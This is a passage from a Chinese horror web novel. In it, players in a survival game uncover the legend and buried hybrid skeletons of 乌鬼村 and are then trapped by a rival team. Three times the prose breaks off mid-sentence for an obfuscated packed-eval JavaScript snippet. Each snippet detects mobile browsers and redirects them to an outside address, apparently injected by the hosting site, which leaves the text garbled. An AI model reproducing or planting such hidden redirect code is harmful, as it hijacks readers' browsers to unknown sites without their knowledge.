乌大娘将那个小孩一并带回了小院,小孩很活泼,看着只有五六岁的年纪,满院子疯跑,乌大娘就坐在那棵李子树下剥豆子。 郝荨搬了个小板凳坐到她身边:“大娘,二牛伯伯的死不是意外吗?为什么说是乌神等不及呀?” 余逸和方柚柚也拿了个凳子坐下,三人一兔将乌大娘围住,每个人的脸上都写满了独属于年轻人的好奇心。 乌大娘看着他们犹豫良久,最终还是叹了口气,她讲了个故事,一个关于……乌鬼的故事。 几百年前山下大乱,乌鬼村的祖先带着族人们躲进山里,一开始,山上茂密的植物和动物让他们欣喜若狂,可很快,白茫茫山就变了。 那会儿天是一天比一天热,树叶变得焦黄发黑,种下的粮食等到要收获时才发现麦穗生了病,整个村子总共只收到了一麻袋麦子。 开头的时候人们还能相互打气,取草根树皮来吃,可很快,连草根树皮都吃没了。 植物越来越稀少,能跑的动物都跑了,跑不动的,就这么旱死了在了路边上。 ……就像他们的族人一样。 岁大饥,人相食。 历史上只记载了短短六个字,却不知道埋了多少条人命。 好在乌鬼村的那位祖先很有魄力,在发现有人饿红了眼时,他便果断做出决策,带族人向更深的山里迁徙。 白茫茫山面积非常大,群山边缘没有吃的,不代表内里也没有。 族长带着所有人走入了深山,可谁也没想到的是,他们竟然在这山里迷路了。 这座山不知怎么回事,越往里雾气越是浓郁,到后来,他们甚至要拿裤带将每个人的手系在一起才能保证没人掉队,每个人都又饿又累,虚弱极了。 仿佛无穷无尽的雾气让他们的感知出现混乱,而就在这时,意外发生了。 一个夜晚过去,有个老人不见了。 “不见了?”余逸疑惑,“不是说拿腰带把所有人都系一起了吗?” 乌大娘古怪地笑了一声:“娃子,你们现在是过得好喽,那个年代啊,无缘无故少个人可不是什么稀奇事!” “什么意思……啊?不会吧!” 乌大娘见他傻愣愣的模样笑眯了眼:“总之啊,那天晚上谁也没有听到动静,绳子也没断,那个老人,就这么凭空消失了。” 谁也没有听到动静? 方柚柚和兔子哥哥不知道怎么的突然吵了起来,郝荨懒得听小孩吵架,只伸手帮乌大娘拾起扔歪了的豆角,眼帘微垂,是真的没有人听见……还是大家约好了“没有人”听见? 一开始,不见的只是老人,没过多久,小孩和女人也不见了。 一部分人变得心有惴惴,生怕下一个不见的就是自己,而另一部分人,则渐渐变得强壮起来。 雾气模糊了他们的脸,反倒让他们做成了真正的自己。 山林里没有野兽,他们就是野兽。 先祖面对这种情况,也不知该如何解决,只得日日夜夜祈求能快点离开这里,离开这片让人失心疯的雾气。 奇迹发生了。 又是一个浓雾天,眼见着族人越来越少,先祖决定带人奋力一搏! 他们找准一个方向,遇山劈山,遇河渡河,然后,他们遇到了一个人。 那是一个很可爱的小女孩,她穿着款式古老的衣服,懵懂地望着这群骨瘦嶙峋精疲力竭的人。 “你们是谁?”她这样问道。 先祖已经忘了自己是如何回答的,等他清醒时,他们已经被女孩带回了村子。 这个藏在山谷中的村落有个奇怪的名字——乌鬼村。 “乌龟村?这什么怪名字。”族人大呼小叫道。 女孩很生气,她叉着腰:“是乌鬼!不许你侮辱我们的乌神!” 原来,这个村落供奉着一位名为“乌神”的神祇,女孩介绍道,他们乌族也是逃难进入白茫茫山的,山林幽深,族人不辨方向,就在这饥寒交迫之际,乌神出现了,祂化身为一只圆润可爱的黑色山猪,将他们带离了雾气,来到这里。 从此,他们便在这里生活了下来。 乌神化名乌鬼,正好他们族也姓乌,如此缘分,他们索性便将村子名定为“乌鬼村”,以此敬告神明,他们永世不会忘记乌神的大恩大德! 或许是看到了他们的诚意,乌神也在村子中住了下来。 女孩指着窗外溜达的黑色山猪说:“看,那就是我们的神!” 似乎是听到了她的声音,乌鬼回头冲她嘶鸣了一声,祂对村子里来了外乡人这事没什么兴趣,只抬头看了他们几眼便随便找了间屋子往里一躺。 先祖清晰地听见了他的族人咽口水的声音。 “离开雾气后,他们又重新变得斯文起来,大家在乌鬼村村民的帮助下努力生活,顺利融入了村子,也就变成了现在你们看见的乌鬼村。” 乌大娘将折好的豆角收起,重新拿出了一篮子玉米开始剥。 “这么看来,乌神是个善神呀,怎么会害死二牛伯伯呢?”郝荨仗着自己脸还算嫩,装着一副天真的样子问道。 方柚柚和白兔子已经打了起来,她因为分心听故事被白兔子用耳朵打了好几下,气得她直接用身体撞过去,将白兔子一下按进土里,坐在它身上才算结束。 这一架花了她差不多一年的运动量,可把她累坏了。 见到这一幕,郝荨眼角抽了抽,她换了个姿势,顺手给兔子耳朵打了个死结:“安静点!” 她小声警告道。 乌大娘手上的动作慢了下来,像是在回忆。 原来,好景不长,旱灾也紧随他们的脚步到来了。 村里的气氛变得紧张起来,大家互相打着气,日子本还能继续过,乌鬼村村长是个很有见识和学问的阿婆,也是那个小女孩的太奶。 阿婆带着所有村民开始打井,一口、两口……直到有一天,一个娃娃在玩耍时失足落入井里,摔死了。 乌鬼村陷入了浓重的悲伤之中,在饥渴交加之时听到这个消息,所有人都一蹶不振,然后,更可怕的事情发生了—— 小孩的尸体不见了! 只留下了满地的鲜血和几根人骨,小孩的母亲当场晕厥,当天夜里,也一并随着娃娃去了。 村子里开始出现传言,是他们没有及时给乌神上供,乌神……发怒了。 “你说,乌神把尸体带走了?”方柚柚不可思议,“或者说,祂吃了小孩?……猪会吃人吗?” 这有点超出她的知识储备了。 乌大娘摇摇头:“他们都是这么说的。” 谁也不知道这个传言的源头在哪,只知道,当所有人都这么说的时候,事实的真相已经不重要了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15048874|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乌鬼村的村人需要平息怒火,曾经被供奉在高台的乌神被狠狠拽下,摔落在泥潭中,处决乌神的那天,下了开春以来的第一场雨,人们在大雨中欢呼着,但很快,村子里就发生了奇怪的事。 小孩子们吃饭时开始发出“呼噜呼噜”的哼唧声,怎么吃也吃不饱,睡觉时也无意识地拱来拱去,偶尔会把家长咬出血,再然后…… 他们身上长出了乌黑的毛发,远远望去,甚至分不清这些在地上爬的东西究竟是人类还是野兽。 这是乌神之怒! 他们大声喊着,想要去捣毁那座为乌神所建的庙宇,就在这时,先祖提出了一个想法—— 他们尊崇的是乌神,是高高在上的神祇!可神祇怎么会被人类轻易杀死呢? 所以,死的那只一定不是乌神! 那只丑陋的山猪冒领了乌神的功劳,顶替了乌鬼的名讳,这才引得乌神发怒,这是乌神对大家有眼无珠的惩罚! 这个想法一出,几乎所有人都被先祖说服,他们决定举办乌神节,让真正善良的乌金通过乌神的考验,成为祂在人间的代行者,这才平复了乌神的怒气。 也正是因此,村长阿婆才将村长的职位交给了先祖,从此,他们这支外来者和乌鬼村的原住民们代代通婚,成为了真正的一家人。 “现在你们看见的这些乌金都是通过乌神的准许才长到这么大的,你们在外头应该也知道,寻常山猪能长到三四百斤就不得了喽,哪能像我们的乌金一样,想长多大就长多大!”阿婆激动又自豪。 他们可是有乌神庇佑的人! “这倒是,”余逸点头,“我姥姥家养的猪就只有两百多斤,不过也很香!吸溜……” 他没忍住,吸了一下口水。 “饿了?大娘去给你拿吃的!” 乌大娘起身进了屋里,方柚柚坐累了,像是一摊史莱姆一样把头往郝荨手臂上一Duang:“这故事疑点好多……” “啊?有吗?”余逸撸了两把无能狂怒的白兔子,帮它把耳朵解开。 “有呀,”方柚柚翻了个身,“逻辑说不通啊!” “这些副本不是一直都没什么都逻辑嘛!都神啊鬼啊的了,还能有逻辑?!” “怎么没有逻辑?!”方柚柚一下坐了起来,晃了晃郝荨的手臂,“园长你说,是不是很奇怪!” 郝荨:…… 她是游乐园园长又不是幼儿园园长,小朋友吵架怎么还要拉她站边! 不过方柚柚说得很对,这故事开头听起来还挺像那么一回事,后面却越听越离谱: “要我说啊,这个故事前半段恐怕是真的,后半段可就说不定了。” “啊……真有问题啊?”余逸拽了拽白兔子的耳朵,气得它失去理智,转头就咬。 嗯? “你哥掉毛了?” 郝荨指着地上的一小块白色,问道。 方柚柚一愣:“…那好像不是毛啊!” 郝荨揉揉眼睛,凑近望去,那确实不是毛,可比毛还可怕,那是一小块白色骨质! 似乎是刚刚白兔子拼命蹬腿的缘故,那处的泥土被掀开了些许,露出了这截骨头,郝荨一下想到了不好的事,她连忙上手去挖。 三人一兔挖得很快,挖着挖着,郝荨的动作慢了下来。 余逸小声开口:“这怎么……好像是人骨啊?” 103. 乌鬼村24 “这怎么……好像是人骨啊?” “你们在做什么?!!” 一声暴喝,乌大娘冲出厨房,指着几人的手指微微颤抖。 “离她远点!” TA? 郝荨注意到乌大娘的用词,她瞥过刚刚被他们挖出的半截身体,这具尸骨似乎属于女性。 想到她之前说的话,郝荨上前一步,果断问道:“乌大娘,这是您的小女儿吗?” 乌大娘脚步猛地一顿。 猜对了! “她怎么会被埋在树下?不下葬吗?” 不知道是不是“下葬”二字触动了乌大娘,她的身体剧烈颤抖了一下,然后跟疯了似的冲向他们:“走开!走开!离她、离我们远点!!!” 余逸急忙解释:“姐姐,姐姐别!我们不是故意的,等等,别啊——” 可这次连他的好话也没用,乌大娘捡起扫帚就将他们扫地出门,接着“砰”一声关上了大门。 余逸还想上去说说好话,可无论他说什么,如何装傻卖乖,乌大娘都铁了心不再搭理他们。 他一脸懵地转过头:“我们做什么了?她怎么突然赶我们啊?” 郝荨想起什么,她打开随身携带的包裹,翻出一张黑白照来,那上面是个很漂亮的少女,眼睛大笑得甜,一看性格就很活泼可爱。 “咚咚。” 她敲了敲乌大娘的门,可想而知,没有回应。 郝荨没有在意,她再次敲了敲门:“大娘,要是你不要你女儿的照片了,那我们就带走了哦?” 1、2、3。 门“哐”一下被拉开,乌大娘劈手夺过郝荨手中的照片,然后再次撞上门。 郝荨没有急着走,果不其然,几秒后,乌大娘的声音从门内传了出来:“你、你们去过山里了?!” 她的声音听起来有些颤抖,是激动?厌恶?不,不是,是恐惧。 为什么恐惧? 她是在害怕他们……还是在害怕什么未知的东西? 郝荨从包里拿出那盏供在遗像前的长明灯,再次轻轻敲响大门:“灯你忘了拿啦。” 这次隔得时间更久了,郝荨转过身,装作要走:“看来乌大娘是不会开门了,我们走吧——” 她话没说完,门又被一下拉开。 乌大娘似乎哭了一场,眼泪都还没擦干,她板着脸:“灯呢?” 郝荨乖巧地将灯奉上,乌大娘伸手抢过,就要翻脸关门,见郝荨要开口的意思,她反倒是有些不自在,犹豫良久后,她忽然恶声恶气对着余逸开骂: “你看你这都胖成什么样了!少吃点!” “砰!” 这次,门彻底被关上。 余逸拿着啃了一半的李子,目瞪口呆:“我是什么路边的狗吗?怎么突然踢我!” 方柚柚张大嘴巴:“你这也吃得下?” “怎么了!”余逸又咬了一口。 酸甜可口,很好吃啊。 “那可是在尸体上种出来的!” 余逸一愣,但很快他又理直气壮道:“那又怎么了,咱们几千年的历史,哪块土地上没死过人?她要是不同意,就跳出来阻止我啊!” 方柚柚无话可说,只好转头问郝荨:“我们接下来怎么办?还差三枚乌神尸骨,要去找他们‘要’吗?” “这个不急。”郝荨清点了一番长明灯中的灯油,心里有了底。 “想不想玩把大的?” “玩儿!我玩儿!”余逸兴冲冲举起手。 “危险很大哦。” 余逸思考半秒:“能让小高和郑哥吃到苦头吗?” 郝荨满脸惊奇,真是罕见,居然能让塞角落放着不管都能傻乐呵的人生气,还愿意不顾危险去报复,小高和郑哥他们真是太嘲讽了! “多半可以。”郝荨含蓄说道。 “那我要玩!来吧!我准备好了!” “真不害怕?” 余逸一甩头发,那头乱蓬蓬的棕色卷毛在他头顶弹动,让人移不开眼。 “我宁愿爽快的死,也不要窝囊的活!而且,”他弯下腰,狗狗眼眨了眨,“我觉得,荨姐肯定不会让我死的!对吧?” 郝荨眉眼弯起,笑道:“对,柚柚呢?” 方柚柚耸耸肩:“我都可以,你想做什么?” 郝荨抬起头,望向后山:“都过过生日吧?吹蜡烛——会吗?” * “你说他们上山了?”郑哥靠在躺椅上,抿了口茶。 看起来老神在在的模样,眼神中偶尔的晃动却暴露了他内心并不像表面上看起来这么平静。 也真是奇了怪了,明明一切事都按照他所想的剧本进行着,入本时他就知道这场游戏自己是弱势方,不能打明牌,所以第一轮时他就与两支队伍分别谈话,同时合作,最后在玛弥合灵秀中选择了与灵秀真合作,用假合作坑了玛弥一把。 事实上,他做的决策很正确,那个玛弥虽然看起来比灵秀要年轻几岁,但实际谈话时却要比灵秀难搞得多!他甚至怀疑对方有测谎或心理相关的技能,要不是他提前防了一手,说不准还真要翻车。 把更难搞的玛弥压到第三之后,这场游戏他就稳了大半,而第二轮的决策更是证明了他的先见之明,灵秀这个女人虽然也很聪慧,但性格不够激进,过于谨慎的后果就是以两斤只差败给了他。 照理说,现在的局面于他而言几乎是稳赢,他一直把主战场放在村子里,就是为了监控他们两支队伍入山的情况。他知道山上有白土,可同样的,山上的危险程度实在太高,与其冒着风险上山,费那么大劲也搬不走多少白土,还不如就坚守乌鬼村这个大本营。 何况,能被游戏拿来当做阶段奖励的乌神尸骨才是关键道具。 而谁又知道,这些乌神尸骨早就被他筛选过了呢? 现在掌握在玛弥和灵秀手中的乌神尸骨,都是被他淘汰下来的,对于最后这场战役而言,用处不大。 想到这,郑哥吹了吹热气,将浮在茶水上的沫子吹走,他满意地一笑,先前小高还问他为什么不全部拿走,蠢材真是怎么教都是蠢材! 没有胡萝卜在村里吊着,兔子万一专心去刨土怎么办? 小高拿着个比他脸还大的饼专心啃着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056708|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到郑哥问话,他几口咽下,差点没把自己噎住,他摸了摸溜圆的肚子,还是很饿: “对!除了那个失踪的,其他三人全都上山了!” 郑哥皱眉,明明一切都很顺利,他却依然心神不定。 作为一个通关许多场游戏的老玩家,郑哥很相信自己的直觉,这种直觉在迷雾游戏里发生过几次,每一次,都救了他的命。 郑哥细细思索,寻常人遇到这种无解的局,不是自暴自弃地摆烂,就是破罐子破摔,他想了想,开口吩咐:“小高,我记得——你一直很想做掉他们?” 小高一愣,差点以为自己是幻听。 “走吧,叫上阿卜,”郑哥将茶水一饮而尽,站起身,“我现在来教你们最后一课——” “——斩草,要除根。” * 现在还是白天,但以防万一,郝荨还是点燃了一盏长明灯。 不知道是不是点了灯的关系,他们这次很顺利地就走到了山谷中的乌鬼村。 “荨姐,这……全都吹掉啊?” 余逸有些紧张,乌鬼村中的长明灯本来还有许多,现在却被他们和灵秀他们拿的七七八八,粗略数去,只剩下零星灯火还亮着。 回应他的是一道简单粗暴的吹气声—— “呼!” 郝荨抬起脸,眼神无辜:“嗯?” 余逸呆愣地看着她手中只剩下青烟的长明灯,快速摇头:“没事了。” 三人快速将仅剩的十几盏长明灯吹灭,等了一会儿,什么都没发生。 “咦?” 郝荨重新将村子全部检查了一遍,除了余逸被几张变成猪头人的遗像吓到外,确实是什么变化都没有。 余逸:“是不是要到晚上啊?” 郝荨摇头,他们第一次上山时就是白天,那些不知道是乌神还是乌鬼的巨大黑猪还在满山乱跑……她的视线扫荡着这片村落,忽然,她目光一凝,落在了满村郁郁葱葱的李子树上。 她快步走到“乌大娘”家,这座院落中心也有一颗李子树,树冠很大,几乎占据了整个小院。 郝荨伸出手摸索着,这棵树的年纪应该很大了,树根粗壮,她轻轻踢了踢:“挖开看看。” 片刻后,余逸吸了一口凉气,眼中满是惊愕:“这、这里怎么也有尸体啊?!” 就在与乌大娘家完全对称的地点,他们也挖出了一具尸骨! 这具白骨看着可比乌大娘家那具古老多了,光他们挖出的下半身就与树根纠结缠绕在一起,细小的新生树根钻过尸骨的缝隙,深深扎在骨架上,一时间,竟不知道究竟是在吸取泥土还是在汲取这具尸体! 忽然,方柚柚疑惑地“嗯?”了一声。 注意到她的异样,郝荨开口问道:“怎么了?” 方柚柚没有抬头,她指了指那具白骨还掩埋在泥土中的上身:“你们看,她的上身……好像是猪啊?” 郝荨睁大双眼,那被密密麻麻树根遮掩住的部分明显比下半身要大上一圈,胸膛处的骨架像是被什么撑大一般,而在身体旁边,一只明显不是人手的蹄形突然发出一声清晰的弹响。 104. 乌鬼村25 “咔哒。” “……她是不是动了?” 余逸吓了一跳,不由自主地退了好几步,干笑一声:“哈哈…半鱼半人叫鱼人,那我叫她一声猪人她会答应吗?” “……” “不好笑吗?……你们怎么不说话?” 余逸心里咯噔一声,两个队友慢慢从地上站起,不着痕迹地往后退着,露出了中间的泥坑。 坑里的白骨生硬地动了动,发出更多的弹响声。 郝荨扛起铲子,命令道:“推倒其他李子树!” “啊?所有吗?” 郝荨头也不回地冲到另一棵树下,大声喊道:“所有!” 三人一兔“哼哧哼哧”开挖—— “靠,这里也有尸体!” “这儿也有。” “妈诶!好多,好多白骨!” …… 一具又一具白骨从李子树下冒出,有的看着还很新鲜,骨架上挂着些没有分解干净的碎肉,有些却已经年代久远,几乎和树根融为一体。 而年代越久远的骨架身上,类似乌金的部分就越多! 余逸突然叫了一声:“诶?这家怎么没有?” 郝荨抬头望去,居然是村长家。 “村长家”在这座村子的尾巴处再往后就是那座“乌神山”,院子也很大,余逸换了个方位又挖了几铲子:“找到了!” 这具白骨看起来还是个孩子,小小一捧,她的四肢和头颅已经全变成了猪的模样,只有身体还残留着部分人类的痕迹。 她蜷曲着身体,在树根的包裹下团成了一个球。 见余逸拔得吃力,郝荨上前帮忙,两人脚尖抵在李子树上,使出吃奶的劲儿向外拔动—— “砰!” 摔了个屁股蹲,散落的白骨噼里啪啦砸在他们身上,郝荨正要站起,却蹲在原地停住。 余逸拍拍身上的灰,他小心地把骨头拢成一堆,见状,疑惑问:“荨姐,怎么了?” 方柚柚不知什么时候也来到了二人身边,她面色有些凝重:“山……在震动?” 起雾了。 从进本起就如死水一般的“乌鬼村”逐渐苏醒,有什么人类听不见的声音在雾气中震荡着,像是在唤醒什么东西。 “咔哒、咔哒……” 越来越频繁的弹响声响起,无数具白骨从沉睡中醒来,他们掀开压在头顶的土壤,折断困住自己的老树根,刺穿白土从地下爬出。 这些白骨不会说话,郝荨却仿佛能听到他们的声音。 他们在无声呐喊,诉说着自己的不公,怨怼和恨意从四面八方朝她涌来,压得她喘不过气。 她的胸膛剧烈起伏着,想要从这浓重的雾气中汲取些空气,却没有成功。 细细的血丝从地下生出,混合着雾气钻入她的鼻腔,眼前浮现出不属于她的记忆,她看见年迈的阿婆和善良的族人,看见可爱的孩子在满地乱钻,然后被他们的父母一顿臭骂,看见他们一时好心接纳了山外来的族群。 这支族群没什么老少,女人也不多,主要以青壮年为主,阿婆有些顾忌,但他们的经历和乌族人很像,都是为了求活才躲进深山中。 他们声泪俱下,不是他们不愿意带走老幼,而是他们在深山中被野兽抓走了,是他们没用,没有保护好大家,那位带领他们的领头人跪在地下祈求着,他们愿意抛弃自己的姓氏,与他们一同侍奉乌神,只求贱命能苟活。 阿婆被打动,接纳了他们。 起初,他们也过了一段快乐的日子,年轻的劳动力加入让他们省了许多力气,可很快,一切都变了。 先是村子里的公粮莫名丢失,然后是鸡鸭,再然后……孩子也不见了。 村长阿婆人老心却不老,他们族人在村子里生活了这么多年,从未发生过这样的事,现在又是旱灾,山林里的大型猛兽死的死、跑的跑,剩下的零星几只根本不成气候,绝不可能在村子里偷走小孩,还没有一个人发现! 阿婆的嘴唇哆嗦着,她知道,村子里混进了披着人皮的野兽! 她叫上村民去质问外来者,外来者的领头人却说是他们贼喊捉贼,他们要为保护自己而战! 这简直就是倒反天罡! 阿婆把老人与孩子们藏在地窖,带着村里所有的年轻人们与他们打了一场,这一场打斗持续了许多天,他们损失惨重。 地里的庄稼哪比得过吃人的怪物? 乌鬼村死伤大半,外来者们一下成了乌鬼村的主人,为了彻底打败他们,他们对乌神动了手。 外乡人的头领让人将乌神和孩子老人们关在一起,一点食物都没有给他们留。 他倒要看看,这种时候,乌神还能像阿婆说得那样,爱护祂的村民们吗? 外乡人不信神,如果世上真的有神,怎么会坐视人间成为炼狱? 又为什么……只救乌鬼村,不救他们? 十日后,他们已经彻底将那些不服的乌鬼村人屠杀殆尽。 开门! 头领…不,应该说是现任乌鬼村村长打开地窖,他本以为自己会看到满地残肢断臂,却没想到,跟他想得完全相反,他们瘦骨嶙峋奄奄一息地躺在地上,已经死去的老人孩子被整整齐齐堆放在角落,如果不是实在没力气,他们或许还要挖上几个坑将他们一一掩埋。 被寄予厚望的乌神四肢异常纤细,祂趴在害怕的孩子们跟前,肚皮高耸,几乎与祂的整个身体一样大! 乌神静静地望着来人,祂微微挪动了下身子,尽力让自己趴得更高,好让那些孩子们能完全躲在祂的阴影中。 一时间,竟分不清究竟是乌神更像人类,还是有着野兽眼神的新任村长更像人类。 无来由的怒气袭上村长心头,他不可置信,这里明明没有吃的,为什么乌神肚子还这么大?! 祂一定是吃人了! 可仔细清点后他发现,没有一个人少,甚至没有一个死者的脸上有惊恐神色。 他们安详地死去,死在他们信奉的乌神身边,像是回到了母亲的怀抱那样。 不知道是不是在给他解惑,片刻死寂后,乌神低下了祂的头颅,静静啃食着地上的泥土。 像是什么信号一般,祂身后的孩子们和老人也一并伸出手,挖着泥土缓解饥饿。 这泥土村长知道,所有逃过荒的人都知道,吃一点还成,吃多了只有一个结果——就是死。 他们的肚子已经变得很大,撑不了几日,可即便这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064823|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有一个人哭喊着求饶。 村长沉默片刻,让人拿来了好吃的,煮得绵软的麦饭,青翠欲滴的野菜……以及分外美味却辨别不出的肉。 只要吃下这些,他就让他们离开。 可无论是不懂事的小孩,还是已成人精的老人都无动于衷,有些人甚至连看都懒得看他一眼。 村长气急,他随手抓过一个最小的小孩就要往他嘴里塞肉,那肉喷香扑鼻,光看就知道一定美味至极,可小孩拼命挣扎着,甚至还咬了他一口。 一块泥巴被用力砸向他的头,村长抬起头,发现是那个将他们带进村子的小女孩。 她现在再也没有先前的可爱,瘦得脱了像,整个人几乎虚脱,光是扔这一下就让她无法动弹,但她的眼睛依然恶狠狠地盯着他,满是后悔和恨意。 村长下意识避开了她的视线,他将小孩扔下,怒极反笑。 好好好!你们有骨气,我看看你们还能坚持到几时! 又过了十天,村长再次带人下了地窖。 烛火点燃,光影晃动中,村长眯起眼,是他看错了吗? 哪来这么多乌金? 他走近几步,却吓了一跳,险些把灯火打翻! 这群小孩看起来已经不是人类了,他们的肚子高高拱起,头不知道是浮肿还是什么变得很大,四肢纤细,打眼望去,跟那只趴着的乌神一模一样! 他们像是一个个小乌金或趴或躺躲在乌神身后,堆放尸体的角落散发出一股难言的气味,村长打量了几眼,愕然发现那些尸骨也开始乌金化! 同乡们忍不住退缩,纷纷劝他算了吧,可村长不听,他咬牙命令,继续! 这次也是十天,十天后,村长拉开地窖的盖子,刚拉开就被熏了个倒仰,腐烂的尸臭中夹杂着一些奇怪的味道,说不清是什么,让人不由心生恐惧。 村长犹豫再三才再次下去,当他看清时,他微微松了口气。 那些变成半人半乌金的孩子和老人也不过就是血肉之躯,他们死了。 这次地窖里只剩下了一两个孩子还活着,乌神的身体已经膨胀到近乎诡异的大小,占据了大半个地窖,连喘口气都很困难。 地窖中心被他们刨出了个深坑,全都进了他们的肚子。 死去的身体更加溃烂腐朽,连流出来的血液都混杂着泥土,这间地窖已经完完全全成了人间炼狱。 这回村长也有点害怕了,但一种说不清道不明的愤懑从他的心底隐秘升起—— 凭什么? 凭什么他们能如此平静,就凭这个只会吃土的伪神吗? 那就弑神看看好了,新的乌鬼村,不需要乌神。 旧的乌神死了。 崭新的乌神……诞生了。 这是一尊饥肠辘辘的恶神,每年的诞生日,祂都会从沉睡中苏醒,寻找到创造出祂的人类血肉吞吃下肚。 为了躲开对方的追寻,他们在山外重新建造了一座与乌鬼村一模一样的村落,他们改了姓名,换了模样,将自己变得与乌鬼村村民们一样善良,直到自己彻彻底底变成了他们。 乌神没有被假象蒙骗多久,很快,祂就重新找上了他们,村长做了一个决定,决定重新举办乌神节——向乌神祭祀。 105. 乌鬼村26 “荨姐小心!” 一股力道从手臂处传来,将郝荨从幻象中拉出。 她来不及反应,另一道力气从反方向重重撞向她的肩膀,手臂一麻,郝荨瞬间脱力,转瞬之间,她的肩膀忽然一轻。 郝荨只看到自己的眼角余光处有什么人一闪而过,包裹就到了他的肩上。 是小高! 余逸伸手就要去抓他:“你怎么在这?!” 小高闪身躲过,空着的手抬起就是一板砖,要冲着余逸的头劈下—— 白兔子反应很快,几乎是同一时刻,它双腿一弯,明显不属于的人类的弹跳力让它在板砖落下前一脚踹在了小高的手腕上。 “啧!” 他不满意地吐了口唾沫,将包裹随手一甩:“这些就当你们孝敬我和我大哥了,一会儿你们还得谢谢我呢!” 余逸:“谢你个头!抢人东西你还有理了?!” 他和白兔子对视一眼,一人一兔分别从两侧袭上,就在他要碰到包裹的瞬间,村落剧烈震颤,一道熟悉的声音从门外响起: “好了。” 小高的头微微一动,接到讯号的他跟没站稳似的,张开手臂借力向外倒去。 “走了!” “谁准你走了!” 余逸大喊一声,拿出自己五十米高考的爆发力瞬间冲去,好巧不巧,又是一阵震动,他没站稳,整个人直直撞在小高身上,反倒将人推了出去。 那包裹从郝荨面前划过,郝荨快速伸出手去,却在出门的瞬间被一股反作用力狠狠弹回。 余逸还要再跟,幸好被郝荨拉了一把,不然这个铁头娃就要废在这里了! 他们细细看去,村长家门口有流光闪烁,像是某种结界。 郝荨尝试了几次,可无论力道是大是小,她都无法穿过这层流光。 小高从地上爬起,没能按照他想的出场方式离开让他很生气。 他拉了拉被撞翻的外套,歪着头舔了舔牙根: “不能亲手解决你们真是可惜,不过郑哥说得对,死人有什么好在意的呢?” 说着,他就往院外走去,站到了郑哥身后。 他往郑哥身后踹了一脚,阿卜低着头走了出来,她整个人佝偻着身形,像是被压折了腰。 小高咧开嘴,露出了一个极其嘲讽的笑:“哟!她还在看我们呢!” 他吊儿郎当地冲屋子里挥了挥手。 “别节外生枝。” 郑哥清点了一番包里的长明灯,很是满意。 没想到这个叫玛弥的女人还真有点东西,不过到底还是小年轻,没什么经验,不懂一味的防守就只是被动投降的道理,在他这吃一堑长一智也好。 啊,忘了,她没有下一次的机会了。 郑哥勾起唇角,他看了看周围,鬼哭声越来越大,古老的村落里,一具具白骨站起,有什么可怕的事情正在降临。 “……在哪?他们在哪……” “东边……还是西边……” “我恨呐……我好恨……不对,我不恨…我好饿……” “味道不对,死光了…?没关系,还有味道,他们的后代还在……” “活人?这里有活人的味道……是他们吗?” 无数窸窣的密语在众人耳边回响,像是密密麻麻的小虫子在往他们的耳朵里钻入。 村长家的墙壁也开始扭曲膨胀,似人似猪的脸在上面不断显现。 白骨堆积在一起,它们的身形剧烈抖动了两下,汇聚成一只如小山般高大的乌金尸骨,然后,血色雾气向乌金汇聚而去,将身体包裹完毕后,不过几秒钟而已,血丝就变成了深黑色,黑洞洞的眼眶里冒出鬼火—— 郝荨睁大双眼,这不就是他们之前在山里遇见的乌金吗? 原来是乌鬼村的尸骨化作而成的! “砰!” 余逸扛起椅子重重撞向大门,一阵轻柔的波动闪烁两下,还是不行。 他们被困死在这间屋里了! 见到这场面,小高哈哈大笑:“别白费功夫了,出不来的!” 那可是他大哥的看家技能! 【技能:你在此地不要走动】 【说明:非战斗状态时,玩家可用笔画出一个不超过十平米的安全区,没有任何人可以踏入,同样,也没有任何人可以踏出,直到玩家回来并说出“我回来了。”】 一般人用这玩意儿都是拿来保护队友,也就只有大哥这么聪明,才能想到还能拿来坑人! 晚上就是最后一轮比拼,到时,他们会带着满身荣耀通关副本,郑哥一离开,技能就会自动失效,他们这几个人就在这里老老实实等死吧! 小高揉了揉被余逸撞到的肩膀:“郑哥,这几个人解决了,剩下那几个呢?” 他冲山外的方向抬了抬下巴,郑哥笑笑。 “别急,我自有安排。” 四面八方的乌金都已经化形成功,或许是闻到了活人的味道,它们迈着沉重的步伐正在往这座小屋而来。 郑哥抬起手:“走。” 三人快步离开,阿卜慢了几步,她有些犹豫地回过头,最后看了一眼他们,然后深吸一口气,头也不回地跟上了郑哥和小高。 郝荨推了推周围的门窗,哪怕是透气孔她也尝试了一下,连根手指头都无法出去。 她回过头,方柚柚已经平躺在了里间的炕上,双手放在肚子上,满脸安详。 白兔子玩偶费劲巴巴地找到个只有巴掌大小的破布头,给她搭在肚脐眼上。 